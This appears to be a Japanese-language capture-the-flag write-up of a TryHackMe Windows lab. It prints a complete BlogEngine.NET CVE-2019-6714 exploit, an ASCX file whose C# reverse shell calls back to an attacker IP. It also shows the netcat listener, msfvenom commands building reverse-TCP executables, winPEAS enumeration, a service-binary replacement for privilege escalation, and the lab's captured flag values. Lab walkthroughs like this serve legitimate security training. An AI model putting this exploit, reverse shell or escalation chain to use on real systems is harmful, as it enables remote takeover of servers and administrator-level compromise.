TryHackMe | Cyber Security TrainingTryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!
$ sudo vi PostView.ascx
$ cat PostView.ascx
# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714
/*
* CVE-2019-6714
*
* Path traversal vulnerability leading to remote code execution. This
* vulnerability affects BlogEngine.NET versions 3.3.6 and below. This
* is caused by an unchecked "theme" parameter that is used to override
* the default theme for rendering blog pages. The vulnerable code can
* be seen in this file:
*
* /Custom/Controls/PostList.ascx.cs
*
* Attack:
*
* First, we set the TcpClient address and port within the method below to
* our attack host, who has a reverse tcp listener waiting for a connection.
* Next, we upload this file through the file manager. In the current (3.3.6)
* version of BlogEngine, this is done by editing a post and clicking on the
* icon that looks like an open file in the toolbar. Note that this file must
* be uploaded as PostView.ascx. Once uploaded, the file will be in the
* /App_Data/files directory off of the document root. The admin page that
* allows upload is:
*
* http://10.10.10.10/admin/app/editor/editpost.cshtml
*
*
* Finally, the vulnerability is triggered by accessing the base URL for the
* blog with a theme override specified like so:
*
* http://10.10.10.10/?theme=../../App_Data/files
*
*/
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
static System.IO.StreamWriter streamWriter;
protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.18.110.90", 4445)) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
streamWriter = new System.IO.StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
} catch (Exception err) { }
}
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
$ netcat -nvlp 4445 1 ⨯
listening on [any] 4445 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.26.67] 49553
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
$ netcat -nvlp 4445 1 ⨯
listening on [any] 4445 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.26.67] 49553
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
※攻撃マシン
$ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.110.90 LPORT=4446 -f exe > ./reverse.exe 1 ⨯
[sudo] hacklab のパスワード:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
meterpreter > shell
...
C:\Windows\Temp> winPEAS.exe
...
========================================(Services Information)========================================
[+] Interesting Services -non Microsoft-
[?] Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
Amazon EC2Launch(Amazon Web Services, Inc. - Amazon EC2Launch)["C:\Program Files\Amazon\EC2Launch\EC2Launch.exe" service] - Auto - Stopped
Amazon EC2Launch
=================================================================================================
AmazonSSMAgent(Amazon SSM Agent)["C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"] - Auto - Running
Amazon SSM Agent
=================================================================================================
AWSLiteAgent(Amazon Inc. - AWS Lite Guest Agent)[C:\Program Files\Amazon\XenTools\LiteAgent.exe] - Auto - Running - No quotes and Space detected
AWS Lite Guest Agent
=================================================================================================
Ec2Config(Amazon Web Services, Inc. - Ec2Config)["C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe"] - Auto - Running - isDotNet
Ec2 Configuration Service
=================================================================================================
PsShutdownSvc(Systems Internals - PsShutdown)[C:\Windows\PSSDNSVC.EXE] - Manual - Stopped
=================================================================================================
WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running
File Permissions: Everyone [WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])
System Scheduler Service Wrapper
=================================================================================================
[+] Modifiable Services
[?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
You cannot modify any service
[+] Looking if you can modify any service registry
[?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
[-] Looks like you cannot change the registry of any service...
[+] Checking write permissions in PATH folders (DLL Hijacking)
[?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
C:\Windows\system32
C:\Windows
C:\Windows\System32\Wbem
C:\Windows\System32\WindowsPowerShell\v1.0\
====================================(Applications Information)====================================
[+] Current Active Window Application
System.NullReferenceException: Object reference not set to an instance of an object.
at winPEAS.MyUtils.GetPermissionsFile(String path, Dictionary`2 SIDs)
at winPEAS.Program.<PrintInfoApplications>g__PrintActiveWindow|44_0()
[+] Autorun Applications
[?] Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\Windows\Temp\%appdata%\Microsoft\Windows\Start Menu\Programs\Startup'.
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.FileSystemEnumerableIterator`1.CommonInit()
at System.IO.FileSystemEnumerableIterator`1..ctor(String path, String originalUserPath, String searchPattern, SearchOption searchOption, SearchResultHandler`1 resultHandler, Boolean checkHost)
at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption, Boolean checkHost)
at System.IO.Directory.InternalGetFiles(String path, String searchPattern, SearchOption searchOption)
at winPEAS.ApplicationInfo.GetAutoRunsFolder()
at winPEAS.ApplicationInfo.GetAutoRuns(Dictionary`2 NtAccountNames)
at winPEAS.Program.<PrintInfoApplications>g__PrintAutoRuns|44_2()
[+] Scheduled Applications --Non Microsoft--
[?] Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
(The major version number of the operating system.) CleanupOldPerfLogs: C:\Windows\system32\cscript.exe /B /nologo C:\Windows\system32\calluxxprovider.vbs $(Arg0) $(Arg1) $(Arg2)
=================================================================================================
($(@%SystemRoot%\system32\tzsyncres.dll,-101)) SynchronizeTimeZone: C:\Windows\system32\tzsync.exe
=================================================================================================
...
WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running
File Permissions: Everyone [WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])
System Scheduler Service Wrapper
とりあえず、TryHackMeの問題に回答しておきましょう。
Splinterwareが開発していることがわかったので、脆弱性を検索してみます。
$ searchsploit splinterware
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Splinterware System Scheduler Pro 5.12 - Buffer Overflow (SEH) | windows/local/45071.py
Splinterware System Scheduler Pro 5.12 - Privilege Escalation | windows/local/45072.txt
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
$ searchsploit -x 45072
...
# Proof of Concept
1. Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed
2. Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
3. Download malicious .exe on victim machine, and setup listener on attacking machine
4. Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original
5. wait short amount of time and check attacking machine listener
6. connection back from victim machine successful, run whoami
1. Splinterware System Scheduler Pro 5.12 とサービスがインストールされている一般ユーザーでログインします。
2. 攻撃側マシンに接続できる同名の悪意のある.exe（wservice.exe）を作成する。
⇒reverse.exeで作っているので、mv時にリネーム
3. 被害者マシンで悪意のある.exeをダウンロードし、攻撃者マシンでリスナーをセットアップする。
⇒ダウンロード済み、セットアップ済み（再起動かける）
4. 元のwservice.exeファイルをwservice.bakにリネームし、悪意のあるファイルを元のファイルの場所にコピーします。
5. しばらく待って、攻撃側マシンのリスナーを確認する。
6. 被害者マシンからの接続が成功したら、whoamiを実行する。
meterpreter > shell
Process 1948 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\PROGRA~2\SYSTEM~1>echo %username%
echo %username%
Administrator
今回は、そのままフラグを取りに行きましょう。
C:\PROGRA~2\SYSTEM~1>type C:\Users\jeff\Desktop\user.txt
type C:\Users\jeff\Desktop\user.txt
759bd8af507517bcfaede78a21a73e39
C:\PROGRA~2\SYSTEM~1>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72
※攻撃マシン
$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.18.110.90 LPORT=4446 -f exe > ./reverse.exe 1 ⨯
[sudo] hacklab のパスワード:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
ポチップ
